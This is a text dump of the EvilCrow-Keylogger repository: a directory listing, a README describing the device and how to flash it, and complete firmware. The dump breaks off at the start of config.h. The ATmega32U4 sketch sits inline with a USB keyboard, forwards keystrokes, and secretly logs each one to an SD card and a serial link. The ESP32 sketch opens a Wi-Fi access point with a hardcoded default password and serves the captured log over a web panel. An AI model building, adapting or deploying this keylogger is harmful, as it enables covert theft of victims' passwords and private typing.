master 7be7a1c9be66 cached
180 files
1.5 MB
419.6k tokens
400 symbols
1 requests
Download .txt
Showing preview only (1,596K chars total). Download the full file or copy to clipboard to get everything.
Repository: joelsernamoreno/EvilCrow-Keylogger
Branch: master
Commit: 7be7a1c9be66
Files: 180
Total size: 1.5 MB

Directory structure:
gitextract_op5brlrq/

├── README.md
├── code/
│   ├── ATMEGA32U4/
│   │   └── ATMEGA32U4.ino
│   └── ESP32/
│       ├── ESP32.ino
│       ├── config.h
│       ├── index.h
│       ├── javascript.h
│       ├── style.h
│       └── viewlog.h
├── libraries/
│   ├── Keyboard/
│   │   ├── Readme.md
│   │   ├── keywords.txt
│   │   ├── library.properties
│   │   └── src/
│   │       ├── Keyboard.cpp
│   │       ├── Keyboard.h
│   │       ├── be_be.h
│   │       ├── cz_cz.h
│   │       ├── da_dk.h
│   │       ├── de_de.h
│   │       ├── en_us.h
│   │       ├── es_es.h
│   │       ├── fi_fi.h
│   │       ├── fr_fr.h
│   │       ├── it_it.h
│   │       ├── pt_pt.h
│   │       └── tr_tr.h
│   └── USB_Host_Shield_2.0/
│       ├── .gitattributes
│       ├── .gitignore
│       ├── .gitmodules
│       ├── .travis.yml
│       ├── BTD.cpp
│       ├── BTD.h
│       ├── BTHID.cpp
│       ├── BTHID.h
│       ├── PS3BT.cpp
│       ├── PS3BT.h
│       ├── PS3Enums.h
│       ├── PS3USB.cpp
│       ├── PS3USB.h
│       ├── PS4BT.h
│       ├── PS4Parser.cpp
│       ├── PS4Parser.h
│       ├── PS4USB.h
│       ├── PSBuzz.cpp
│       ├── PSBuzz.h
│       ├── README.md
│       ├── SPP.cpp
│       ├── SPP.h
│       ├── Usb.cpp
│       ├── Usb.h
│       ├── UsbCore.h
│       ├── Wii.cpp
│       ├── Wii.h
│       ├── WiiCameraReadme.md
│       ├── XBOXOLD.cpp
│       ├── XBOXOLD.h
│       ├── XBOXONE.cpp
│       ├── XBOXONE.h
│       ├── XBOXRECV.cpp
│       ├── XBOXRECV.h
│       ├── XBOXUSB.cpp
│       ├── XBOXUSB.h
│       ├── address.h
│       ├── adk.cpp
│       ├── adk.h
│       ├── avrpins.h
│       ├── cdc_XR21B1411.cpp
│       ├── cdc_XR21B1411.h
│       ├── cdcacm.cpp
│       ├── cdcacm.h
│       ├── cdcftdi.cpp
│       ├── cdcftdi.h
│       ├── cdcprolific.cpp
│       ├── cdcprolific.h
│       ├── confdescparser.h
│       ├── controllerEnums.h
│       ├── examples/
│       │   ├── Bluetooth/
│       │   │   ├── BTHID/
│       │   │   │   ├── BTHID.ino
│       │   │   │   ├── KeyboardParser.h
│       │   │   │   └── MouseParser.h
│       │   │   ├── PS3BT/
│       │   │   │   └── PS3BT.ino
│       │   │   ├── PS3Multi/
│       │   │   │   └── PS3Multi.ino
│       │   │   ├── PS3SPP/
│       │   │   │   └── PS3SPP.ino
│       │   │   ├── PS4BT/
│       │   │   │   └── PS4BT.ino
│       │   │   ├── SPP/
│       │   │   │   └── SPP.ino
│       │   │   ├── SPPMulti/
│       │   │   │   └── SPPMulti.ino
│       │   │   ├── Wii/
│       │   │   │   └── Wii.ino
│       │   │   ├── WiiBalanceBoard/
│       │   │   │   └── WiiBalanceBoard.ino
│       │   │   ├── WiiIRCamera/
│       │   │   │   └── WiiIRCamera.ino
│       │   │   ├── WiiMulti/
│       │   │   │   └── WiiMulti.ino
│       │   │   └── WiiUProController/
│       │   │       └── WiiUProController.ino
│       │   ├── HID/
│       │   │   ├── SRWS1/
│       │   │   │   ├── SRWS1.cpp
│       │   │   │   ├── SRWS1.h
│       │   │   │   └── SRWS1.ino
│       │   │   ├── USBHIDBootKbd/
│       │   │   │   └── USBHIDBootKbd.ino
│       │   │   ├── USBHIDBootKbdAndMouse/
│       │   │   │   └── USBHIDBootKbdAndMouse.ino
│       │   │   ├── USBHIDBootMouse/
│       │   │   │   └── USBHIDBootMouse.ino
│       │   │   ├── USBHIDJoystick/
│       │   │   │   ├── USBHIDJoystick.ino
│       │   │   │   ├── hidjoystickrptparser.cpp
│       │   │   │   └── hidjoystickrptparser.h
│       │   │   ├── USBHIDMultimediaKbd/
│       │   │   │   └── USBHIDMultimediaKbd.ino
│       │   │   ├── USBHID_desc/
│       │   │   │   ├── USBHID_desc.ino
│       │   │   │   └── pgmstrings.h
│       │   │   ├── le3dp/
│       │   │   │   ├── le3dp.ino
│       │   │   │   ├── le3dp_rptparser.cpp
│       │   │   │   └── le3dp_rptparser.h
│       │   │   └── scale/
│       │   │       ├── scale.ino
│       │   │       ├── scale_rptparser.cpp
│       │   │       └── scale_rptparser.h
│       │   ├── PS3USB/
│       │   │   └── PS3USB.ino
│       │   ├── PS4USB/
│       │   │   └── PS4USB.ino
│       │   ├── PSBuzz/
│       │   │   └── PSBuzz.ino
│       │   ├── USBH_MIDI/
│       │   │   ├── USBH_MIDI_dump/
│       │   │   │   └── USBH_MIDI_dump.ino
│       │   │   ├── USB_MIDI_converter/
│       │   │   │   └── USB_MIDI_converter.ino
│       │   │   ├── USB_MIDI_converter_multi/
│       │   │   │   └── USB_MIDI_converter_multi.ino
│       │   │   ├── bidirectional_converter/
│       │   │   │   └── bidirectional_converter.ino
│       │   │   └── eVY1_sample/
│       │   │       └── eVY1_sample.ino
│       │   ├── USB_desc/
│       │   │   ├── USB_desc.ino
│       │   │   └── pgmstrings.h
│       │   ├── Xbox/
│       │   │   ├── XBOXOLD/
│       │   │   │   └── XBOXOLD.ino
│       │   │   ├── XBOXONE/
│       │   │   │   └── XBOXONE.ino
│       │   │   ├── XBOXRECV/
│       │   │   │   └── XBOXRECV.ino
│       │   │   └── XBOXUSB/
│       │   │       └── XBOXUSB.ino
│       │   ├── acm/
│       │   │   └── acm_terminal/
│       │   │       ├── acm_terminal.ino
│       │   │       └── pgmstrings.h
│       │   ├── adk/
│       │   │   ├── ArduinoBlinkLED/
│       │   │   │   └── ArduinoBlinkLED.ino
│       │   │   ├── adk_barcode/
│       │   │   │   └── adk_barcode.ino
│       │   │   ├── demokit_20/
│       │   │   │   └── demokit_20.ino
│       │   │   ├── term_test/
│       │   │   │   └── term_test.ino
│       │   │   └── term_time/
│       │   │       └── term_time.ino
│       │   ├── board_qc/
│       │   │   └── board_qc.ino
│       │   ├── cdc_XR21B1411/
│       │   │   └── XR_terminal/
│       │   │       └── XR_terminal.ino
│       │   ├── ftdi/
│       │   │   └── USBFTDILoopback/
│       │   │       ├── USBFTDILoopback.ino
│       │   │       └── pgmstrings.h
│       │   ├── hub_demo/
│       │   │   ├── hub_demo.ino
│       │   │   └── pgmstrings.h
│       │   ├── max_LCD/
│       │   │   └── max_LCD.ino
│       │   ├── pl2303/
│       │   │   ├── pl2303_gprs_terminal/
│       │   │   │   └── pl2303_gprs_terminal.ino
│       │   │   ├── pl2303_gps/
│       │   │   │   └── pl2303_gps.ino
│       │   │   ├── pl2303_tinygps/
│       │   │   │   └── pl2303_tinygps.ino
│       │   │   └── pl2303_xbee_terminal/
│       │   │       └── pl2303_xbee_terminal.ino
│       │   └── testusbhostFAT/
│       │       ├── Makefile
│       │       ├── README.md
│       │       └── testusbhostFAT.ino
│       ├── gpl2.txt
│       ├── hexdump.h
│       ├── hidboot.cpp
│       ├── hidboot.h
│       ├── hidcomposite.cpp
│       ├── hidcomposite.h
│       ├── hidescriptorparser.cpp
│       ├── hidescriptorparser.h
│       ├── hiduniversal.cpp
│       ├── hiduniversal.h
│       ├── hidusagestr.h
│       ├── hidusagetitlearrays.cpp
│       ├── keywords.txt
│       ├── library.json
│       ├── library.properties
│       ├── macros.h
│       ├── masstorage.cpp
│       ├── masstorage.h
│       ├── max3421e.h
│       ├── max_LCD.cpp
│       ├── max_LCD.h
│       ├── message.cpp
│       ├── message.h
│       ├── parsetools.cpp
│       ├── parsetools.h
│       ├── printhex.h
│       ├── settings.h
│       ├── sink_parser.h
│       ├── usb_ch9.h
│       ├── usbh_midi.cpp
│       ├── usbh_midi.h
│       ├── usbhid.cpp
│       ├── usbhid.h
│       ├── usbhost.h
│       ├── usbhub.cpp
│       ├── usbhub.h
│       ├── version_helper.h
│       └── xboxEnums.h
└── license.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# EvilCrow-Keylogger
WiFi keylogger with Micro SD slot, based on the Atmega32U4 microcontroller and the ESP32-PICO module

![EvilCrow](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/Logo1.jpg)

**Idea, development and implementation:** Joel Serna (@JoelSernaMoreno) & Ernesto Sánchez (@ernesto_xload)

**Collaborators:**  Ignacio Díaz (@Nacon_96) / Forensic&Security (@ForensicSec)

**PCB design, manufacturer and distributor:** April Brother (@aprbrother)

The developers and collaborators of this project do not earn money with this. 
You can invite me for a coffee to further develop Low-Cost hacking devices. If you don't invite me for a coffee, nothing happens, I will continue developing devices.

[![ko-fi](https://www.ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/E1E614OA5)

**Available with April Brother (shipping from China):**

* Aliexpress: https://www.aliexpress.us/item/3256806627810074.html
* Tindie: https://www.tindie.com/products/aprbrother/evilcrow-keylogger/

**Available with SAPSAN Cybersec & Military (shipping from EU, Poland):**

* https://sapsan-sklep.pl/en/products/evilcrow-hardware-keylogger

**Available with KSEC KSEC Worldwide (shipping from the United Kingdom):**

* https://labs.ksec.co.uk/product/evilcrow-keylogger-wifi-keylogger-with-micro-sd-slot/

**Available with Tienda Espía (shipping from Mexico):**

* https://tiendaespia.com.mx/producto/evil-crow-keylogger-wifi/

**Summary:**
1. Disclaimer
2. Introduction
3. Installation
	* Software requirements
	* Layout support
	* Automatic installation
	* Automatic installation with ESP Flasher
	* Manual installation
4. Firmware
	* First steps with Evil Crow Keylogger
	* Home
	* Log Viewer
	* Config
5. Use the Micro SD Slot
6. Unbrick Evil Crow Keylogger with Hall Sensor

# Disclaimer

Evil Crow Keylogger is a physical keylogger device for professionals and cybersecurity enthusiasts.

AprilBrother and the collaborators of this project are not responsible for the incorrect use of Evil Crow Keylogger.

We recommend using this device for testing, learning and fun :D

# Introduction

Evil Crow Keylogger is a physical keylogger with the following hardware:

* Atmega32U4 with Arduino Lilypad USB bootloader
* ESP32-PICO module for communication via Wi-Fi
* Slot MicroSD
* USB Host MAX3421
* Hall sensor for unbrick device

**NOTE:** 

* Some keys or modifiers have not been implemented. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno
* All Keyloggers have been flashed firmware `EvilCrow-Keylogger` before shipping

**Layouts:**

* BE_BE layout support.
* CZ_CZ layout support.
* DA_DK layout support.
* DE_DE layout support.
* EN_US layout support.
* ES_ES layout support.
* FI_FI layout support.
* FR_FR layout support.
* IT_IT layout support.
* PT_PT layout support.
* TR_TR layout support.

**NOTE:** Please do not ask me to implement new functions in this code. You can develop code for Evil Crow Keylogger and send me PR with your new code.

# Installation

## Software requirements

* 0.- Add your user to the dialout group: sudo usermod -a -G dialout USER

* 1.- Install esptool: sudo apt install esptool

* 2.- Install pyserial: sudo pip install pyserial

Now you can flash Atmega32u4 and ESP32-PICO in different ways:

* Automatic installation
* Automatic installation with ESP Flasher
* Manual installation

## Layout support

Evil Crow Keylogger supports several layouts, the en_us layout is by default.

Set up a new layout:

* 0.- Open Keyboard/src/Keyboard.cpp with a text editor

* 1.- Change #define kbd_en_us to another layout. Example: #define kbd_es_es

You can use:
- kbd_be_be
- kbd_cz_cz
- kbd_da_dk
- kbd_de_de
- kbd_en_us
- kbd_es_es
- kbd_fi_fi
- kbd_fr_fr
- kbd_it_it
- kbd_pt_pt
- kbd_tr_tr

* 2.- Save and close Keyboard.cpp

## Automatic installation

1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html
1. Download [keylogger-pio](https://github.com/volca/keylogger-pio.git) repository (This is a migration of Evil Crow Keylogger to platformio): `git clone https://github.com/volca/keylogger-pio.git`
1. Download source [EvilCrow-Keylogger](https://github.com/joelsernamoreno/EvilCrow-Keylogger.git). Put the directory in same level with keylogger-pio: `git clone https://github.com/joelsernamoreno/EvilCrow-Keylogger.git`
1. Add jumper GPIO0 to GND for ESP32-PICO
![Jumper](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/jumper.jpg)
1. Connect Evil Crow Keylogger via USB port
1. Go to the keylogger-pio directory: `cd keylogger-pio`
1. Run `flash.bat` or `./flash.sh` to program 32u4 and esp32-pico

**Note:** Please re-plug Evil Crow Keylogger if you run the steps again. Because the script can't reset ESP32-PICO to program mode.

## Automatic installation with ESP Flasher

Buy ESP Flasher: https://www.aliexpress.com/item/32556128986.html

1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html
2. Download Keylogger-pio: https://github.com/volca/keylogger-pio/tree/prod (This is a migration of Evil Crow Keylogger to platformio): `git clone -b prod https://github.com/volca/keylogger-pio.git keylogger-pio`
3. Download source EvilCrow-Keylogger. Extract the source code and name it as EvilCrow-Keylogger. Put the directory in same level with keylogger-pio
4. Wire ESP Flasher and Evil Crow Keylogger

![Keylogger ESP Flasher](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/keylogger-wired.jpg)

5. Connect Evil Crow Keylogger and ESP Flasher to your laptop
6. Open command line and change directory to keylogger-pio 
7. Run flash.bat or ./flash.sh to program 32u4 and esp32-pico

## Manual installation

* 0.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software

* 1.- Open Arduino IDE.

* 2.- Go to File - Preferences. Locate the field "Additional Board Manager URLs:" Add "https://dl.espressif.com/dl/package_esp32_index.json" without quotes. Click "Ok"

* 3.- Select Tools - Board - Boards Manager. Search for "esp32". Install "esp32 by Espressif system version 1.0.3". Click "Close".

* 4.- Download/extract EvilCrow-Keylogger repository.

* 5.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory. 

**NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work.

### Upload the ESP32 code

To upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother.
On this way I will use an Arduino to upload the ESP32 code.

Here you can see all the pins corresponding to ESP32:

![ESP32](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32.PNG)

1. Wire the Keylogger with Arduino using the following pinout:
![Flash](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32-flash.PNG)
![Wire](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/wire.jpg)
1. Open Arduino IDE.
1. Open the ESP32.ino sketch.
1. Select Tools
   * Board - "ESP32 Dev Module".
   * Flash Size - "4MB (32Mb)".
   * CPU Frequency - "80MHz".
1. Connecting the Arduino device to the computer.
1. Upload the code to the board.

### Upload atmega32u4 code

* 0.- Connect Evil Crow Keylogger via USB port.

![usb](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/usb.jpg)

* 1.- Open Arduino IDE.

* 2.- Open the ATMEGA32U4.ino sketch.

* 3.- Select Tools - Board – "Arduino Lilypad USB".

* 4.- Upload the code to the board.

* Done!

## First steps with Evil Crow Keylogger

* 0.- Connect a keyboard to the Evil Crow Keylogger USB host port.

* 1.- Connect Evil Crow Keylogger to your laptop.

* 2.- Open a notepad and type Hello World with the keyboard connected to the keylogger

* 3.- Visualize the wifi networks around you and connect to the Keylogger (default SSID: Evil Crow Keylogger).

* 4.- Enter the password for the wifi network (default password: 123456789ECKeylogger).

* 5.- Open a browser and access the web panel (http://192.168.4.1/ or http://evilcrow-keylogger.local/).

**Note:** If you cannot access the web panel, use the default IP address (http://192.168.4.1) or follow below steps **only if you are running Linux OS:**
 * check if avahi-deamon is installed and running on your PC. You can do this with executing "sudo systemctl status avahi-daemon" in terminal
 * If service is not running, install it using your package manager (apt, yum, dnf, Packman, rpm,...)
 * After successful installation, start avahi-daemon service with "sudo systemctl start avahi-daemon && sudo systemctl enable avahi-daemon"
 * In case evilcrow-keylogger.local is still not reachable, use http://192.168.4.1/.
 
## Home

The Home page shows interesting information about the device.

![Home](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/home.png)

## Log Viewer

![LogViewer](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/log-viewer.png)

## Config

The Config page allows you to change the Wi-Fi configuration.

**NOTE:** Evil Crow Keylogger is configured in AP MODE. You can change the ssid and password from the web panel.

The changes will be stored in the device, every time you restart Evil Crow Keylogger the new Wi-Fi settings will be applied. If you want to return to the default settings, you can delete the stored Wi-Fi configuration from the web panel.

![CONFIG](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/configwifi.png)

## Use the Micro SD Slot

Evil Crow Keylogger also stores the log on the Micro SD card.

**File:** logs.txt

## Unbrick Evil Crow Keylogger with Hall Sensor

First, you’ll need to set the serial port to the bootloader. But that port is only visible when the board is in bootloader mode, so pull the reset line low twice quickly to invoke the bootloader reset feature. You can quickly press the reset button** twice. While the Evil Crow Keylogger is in the bootloader mode, change the ‘Tools > Serial Port’ menu to the bootloader COM port. Quick! You’ve only got eight seconds.

**The reset button is a HALL sensor, that means you need to place a magnet close that side of the PCB, in order to simulate the "button pressure".**

![Sensor](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sensor.PNG)

* 1.- Open Arduino IDE and open ATMEGA32U4.ino sketch

* 2.- Connect Evil Crow Keylogger via USB port.

* 3.- Press Upload sketch

* 4.- Start the unbrick phase with a magnet by placing it close that side of the PCB where the hall sensor is located (do it two times). Close-away-close-away


================================================
FILE: code/ATMEGA32U4/ATMEGA32U4.ino
================================================
#include <Keyboard.h>
#include <hidboot.h>
#include <usbhub.h>
#include <SD.h>
#include <SPI.h>

#define MODIFIERKEY_LEFT_CTRL   (0x01)
#define MODIFIERKEY_LEFT_SHIFT  (0x02)
#define MODIFIERKEY_LEFT_ALT    (0x04)
#define MODIFIERKEY_LEFT_GUI    (0x08)
#define MODIFIERKEY_RIGHT_CTRL  (0x10)
#define MODIFIERKEY_RIGHT_SHIFT (0x20)
#define MODIFIERKEY_RIGHT_ALT   (0x40)
#define MODIFIERKEY_RIGHT_GUI   (0x80)
#define SHIFT   (0x80)
#define ALTGR   (0x40)

extern const uint8_t _asciimap[] PROGMEM;

// modifier states
int leftctrl_status=0;
int leftshift_status=0;
int leftalt_status=0;
int leftgui_status=0;
int rightctrl_status=0;
int rightshift_status=0;
int rightalt_status=0;
int rightgui_status=0;
uint8_t modifiers=0;
uint8_t modifiersard=0;
int key_modifier;

File SDlog;

void SetModifiers(void) {
    modifiers=0;
    if (leftctrl_status) modifiers |= MODIFIERKEY_LEFT_CTRL;
    if (leftshift_status) modifiers |= MODIFIERKEY_LEFT_SHIFT;
    if (leftalt_status) modifiers |= MODIFIERKEY_LEFT_ALT;
    if (leftgui_status) modifiers |= MODIFIERKEY_LEFT_GUI;
    if (rightctrl_status) modifiers |= MODIFIERKEY_RIGHT_CTRL;
    if (rightshift_status) modifiers |= MODIFIERKEY_RIGHT_SHIFT;
    if (rightalt_status) modifiers |= MODIFIERKEY_RIGHT_ALT;
    if (rightgui_status) modifiers |= MODIFIERKEY_RIGHT_GUI;   
}

void SetModifiersArd(void) {
    modifiersard=0;
    // Arduino modifier mapping (SHIFT, ALTGR)
    if (leftshift_status) modifiersard |= SHIFT;
    if (rightalt_status) modifiersard |= ALTGR;   
}

class KbdRptParser : public KeyboardReportParser {
    void PrintKey(uint8_t mod, uint8_t key);

  protected:
    void OnControlKeysChanged(uint8_t before, uint8_t after);
    void OnKeyDown(uint8_t mod, uint8_t key);
    void OnKeyUp(uint8_t mod, uint8_t key);
    void OnKeyPressed(uint8_t key);
};

// Keys HID Code mapped
const char* KeysChar(uint8_t key) {
    switch(key) {
        case 0x62: return "0"; // NumPad 0
        case 0x59: return "1"; // NumPad 1
        case 0x5A: return "2"; // NumPad 2
        case 0x5B: return "3"; // NumPad 3
        case 0x5C: return "4"; // NumPad 4
        case 0x5D: return "5"; // NumPad 5
        case 0x5E: return "6"; // NumPad 6
        case 0x5F: return "7"; // NumPad 7
        case 0x60: return "8"; // NumPad 8
        case 0x61: return "9"; // NumPad 9
        case 0x29: return " [ESC] "; // Esc
        case 0x3A: return " [F1] "; // F1
        case 0x3B: return " [F2] "; // F2
        case 0x3C: return " [F3] "; // F3
        case 0x3D: return " [F4] "; // F4
        case 0x3E: return " [F5] "; // F5
        case 0x3F: return " [F6] "; // F6
        case 0x40: return " [F7] "; // F7
        case 0x41: return " [F8] "; // F8
        case 0x42: return " [F9] "; // F9
        case 0x43: return " [F1O] "; // F10
        case 0x44: return " [F11] "; // F11
        case 0x45: return " [F12] "; // F12
        case 0x46: return " [PRINTSCREEN] "; // PrintScreen
        case 0x47: return " [SCROLLLOCK] "; // Scroll Lock
        case 0x48: return " [PAUSE] "; // Pause
        case 0x2A: return " [BACKSPACE] "; // Back Space
        case 0x49: return " [INSERT] "; // Insert
        case 0x4A: return " [HOME] "; // Home
        case 0x4B: return " [PAGEUP] "; // Page UP
        case 0x4E: return " [PAGEDOWN] "; // Page Down
        case 0x4C: return " [DELETE] "; // Delete
        case 0x4D: return " [END] "; // End
        case 0x52: return " [UP] "; // UP
        case 0x51: return " [DOWN] "; // DOWN
        case 0x50: return " [LEFT] "; // LEFT
        case 0x4F: return " [RIGHT] "; // RIGHT
        case 0x53: return " [NUMLOCK] "; // Num Lock
        case 0x54: return " [NUMPAD /] "; // NumPad /
        case 0x55: return " [NUMPAD *] "; // NumPad *
        case 0x56: return " [NUMPAD -] "; // NumPad -
        case 0x57: return " [NUMPAD +] "; // NumPad +
        case 0x63: return " [NUMPAD .] "; // NumPad .
        case 0x58: return " [NUMPADRETURN] "; // NumPad Return
        case 0x2B: return " [TAB] "; // TAB
        case 0x39: return " [CAPSLOCK] "; // Caps Lock
        case 0x65: return " [MENU] "; // Menu
        default: return nullptr;
    }
}

void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
    SetModifiersArd();
    Keyboard.rawrelease(key, 0);
    key_modifier = key | modifiersard;
    SDlog = SD.open("logs.txt", FILE_WRITE);
    bool written = false;

    // Main Keyboard ASCII mapping
    for (int i = 0; i < 256; i++) {
        if (pgm_read_byte(_asciimap + i) == key_modifier) {
            SDlog.write(i);
            Serial1.write(i);
            written = true;
            break;
        }
    }

    // Keys digits fallback logging
    if (!written) {
        const char* txt = KeysChar(key);
        if (txt != nullptr) {
            SDlog.print(txt);
            Serial1.print(txt);
        }
    }

    SDlog.close();
}

void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { 
    SetModifiers();
    Keyboard.rawpress(key, modifiers);
}

void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
    MODIFIERKEYS beforeMod;
    *((uint8_t*)&beforeMod) = before;

    MODIFIERKEYS afterMod;
    *((uint8_t*)&afterMod) = after;

    if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) leftctrl_status = !leftctrl_status;
    if (beforeMod.bmLeftShift != afterMod.bmLeftShift) leftshift_status = !leftshift_status;
    if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) leftalt_status = !leftalt_status;
    if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {
        if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
        else Keyboard.release(KEY_LEFT_GUI);
    }
    if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) rightctrl_status = !rightctrl_status;
    if (beforeMod.bmRightShift != afterMod.bmRightShift) rightshift_status = !rightshift_status;
    if (beforeMod.bmRightAlt != afterMod.bmRightAlt) rightalt_status = !rightalt_status;
    if (beforeMod.bmRightGUI != afterMod.bmRightGUI) rightgui_status = !rightgui_status;
}

USB     Usb;
USBHub  Hub(&Usb);
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);

KbdRptParser Prs;

void setup() {
    Serial.begin(38400);
    Serial1.begin(38400);
    delay(500);
    SD.begin(5);

    #if !defined(__MIPSEL__)
        while (!Serial1);
    #endif

    if (Usb.Init() == -1)
        delay(200);

    HidKeyboard.SetReportParser(0, &Prs);
}

void loop() {
    Usb.Task();
}


================================================
FILE: code/ESP32/ESP32.ino
================================================
#include <WiFi.h>
#include <WiFiClient.h>
#include <WiFiAP.h>
#include <WebServer.h>
#include <ESPmDNS.h>
#include "SPIFFS.h"
#include "index.h"
#include "viewlog.h"
#include "config.h"
#include "javascript.h"
#include "style.h"

// Config SSID, password and hostname
String defaultSSID = "Evil Crow Keylogger";
String defaultPassword = "123456789ECKeylogger";
String hostname = "evilcrow-keylogger";

// File
File logs;

// Web Server
String webString;
char local_IPstr[16];
const bool formatOnFail = true;
WebServer controlserver(80);

void enableWiFi() {
  String wifiSSID = defaultSSID;
  String wifiPassword = defaultPassword;

  if (readWiFiConfig(wifiSSID, wifiPassword)) {
    //Serial.println("Using saved Wi-Fi credentials.");
  } else {
    //Serial.println("Using default Wi-Fi credentials.");
  }

  WiFi.mode(WIFI_AP);
  WiFi.softAP(wifiSSID.c_str(), wifiPassword.c_str());
}

void appendFile(fs::FS &fs, const char *path, const char *message, String messagestring) {
  logs = fs.open(path, FILE_APPEND);
  if (!logs) {
    // Serial.println("Failed to open file for appending");
    return;
  }

  if (logs.print(message) | logs.print(messagestring)) {
    // Serial.println("Message appended");
  } else {
    // Serial.println("Append failed");
  }

  logs.close();
}

void deleteFile(fs::FS &fs, const char * path){
  //Serial.printf("Deleting file: %s\n", path);
  if(fs.remove(path)){
    //Serial.println("File deleted");
  } else {
    //Serial.println("Delete failed");
  }
}

bool readWiFiConfig(String &ssid, String &password) {
  if (!SPIFFS.exists("/wifi_config.txt")) {
    //Serial.println("Wi-Fi config file not found");
    return false;
  }

  File file = SPIFFS.open("/wifi_config.txt", FILE_READ);
  if (!file) {
    //Serial.println("Failed to open Wi-Fi config file");
    return false;
  }

  ssid = file.readStringUntil('\n');
  ssid.trim();

  password = file.readStringUntil('\n');
  password.trim();

  file.close();

  if (ssid.length() == 0 || password.length() == 0) {
    //Serial.println("Invalid Wi-Fi config (empty fields)");
    return false;
  }

  //Serial.println("Wi-Fi config read successfully:");
  //Serial.print("SSID: "); Serial.println(ssid);
  //Serial.print("Password: "); Serial.println(password);
  return true;
}

void handleUpdateWiFi() {
  if (controlserver.hasArg("ssid") && controlserver.hasArg("password")) {
    String newSSID = controlserver.arg("ssid");
    String newPassword = controlserver.arg("password");

    if (SPIFFS.exists("/wifi_config.txt")) {
      SPIFFS.remove("/wifi_config.txt");
    }

    appendFile(SPIFFS, "/wifi_config.txt", newSSID.c_str(), "\n");
    appendFile(SPIFFS, "/wifi_config.txt", newPassword.c_str(), "\n");
    controlserver.send(200, "application/json", "{\"status\":\"success\",\"message\":\"Wi-Fi config applied successfully! Device will restart.\"}");
    delay(500);
    ESP.restart();
  } else {
    controlserver.send(400, "application/json", "{\"status\":\"error\",\"message\":\"Missing SSID or password\"}");
  }
}

void handleDeleteWiFiConfig() {
  if (SPIFFS.exists("/wifi_config.txt")) {
    if (SPIFFS.remove("/wifi_config.txt")) {
      controlserver.send(200, "application/json", "{\"status\":\"success\",\"message\":\"Wi-Fi config deleted successfully\"}");
      ESP.restart();
    } else {
      controlserver.send(500, "application/json", "{\"status\":\"error\",\"message\":\"Failed to delete the file\"}");
    }
  } else {
    controlserver.send(404, "application/json", "{\"status\":\"error\",\"message\":\"Wi-Fi config file not found\"}");
  }
}

void handleStats() {
  size_t freeSpiffs = 0;

  if (SPIFFS.begin(true)) {
    freeSpiffs = SPIFFS.totalBytes() - SPIFFS.usedBytes();
  }

  String json = "{";
  json += "\"uptime\":" + String(millis() / 1000);
  json += ",\"cpu0\":" + String(getCpuFrequencyMhz());
  json += ",\"cpu1\":" + String(getXtalFrequencyMhz());
  json += ",\"temperature\":" + String(temperatureRead());
  json += ",\"freespiffs\":" + String(freeSpiffs);
  json += ",\"totalram\":" + String(ESP.getHeapSize());
  json += ",\"freeram\":" + String(ESP.getFreeHeap());
  json += "}";

  controlserver.send(200, "application/json", json);
}

void setup() {
  Serial.begin(38400);

  SPIFFS.begin(formatOnFail);

  delay(2000);

  enableWiFi();

  if (!MDNS.begin(hostname.c_str())) {
    //Serial.println("Error setting up MDNS responder!");
  }

  logs = SPIFFS.open("/logs.txt", "a+");

  controlserver.on("/", []() {
    controlserver.send(200, "text/html", Index);
  });

  controlserver.on("/viewlog", []() {
    controlserver.send(200, "text/html", ViewLog);
  });
  
  controlserver.on("/logs", [](){
    logs.close();
    String serverlog;
    serverlog += controlserver.arg(0);
    logs = SPIFFS.open("/logs.txt");
    webString = logs.readString();
    logs.close();
    logs = SPIFFS.open("/logs.txt", "a+");
    controlserver.send(200, "text/html", "View Log: "+serverlog +"\n-----\n"+webString);
    loop(); 
  });

  controlserver.on("/delete", []() {
    deleteFile(SPIFFS, "/logs.txt");
    controlserver.send(200, "application/json", "{\"status\":\"deleted\"}");
  });

  controlserver.on("/config", [](){
    controlserver.send(200, "text/html", Config);
  });

  controlserver.on("/updatewifi", handleUpdateWiFi);
  controlserver.on("/deletewificonfig", handleDeleteWiFiConfig);
  controlserver.on("/stats", handleStats);

  controlserver.on("/reboot", []() {
    controlserver.send(200, "application/json", "{\"success\":true,\"message\":\"Device rebooting\"}");
    delay(200);
    ESP.restart();
  });

  controlserver.on("/connectioncheck", []() {
    controlserver.send(200, "application/json", "{\"status\":\"ok\"}");
  });

  controlserver.on("/javascript.js", []() {
    controlserver.send(200, "text/javascript", Javascript);
  });

  controlserver.on("/style.css", []() {
    controlserver.send(200, "text/css", Style);
  });
  
  controlserver.begin();
}

void loop() {
  controlserver.handleClient();

  if(Serial.available()) {
    logs.write(Serial.read());
  }
}


================================================
FILE: code/ESP32/config.h
================================================
const char Config[] PROGMEM = R"=====(
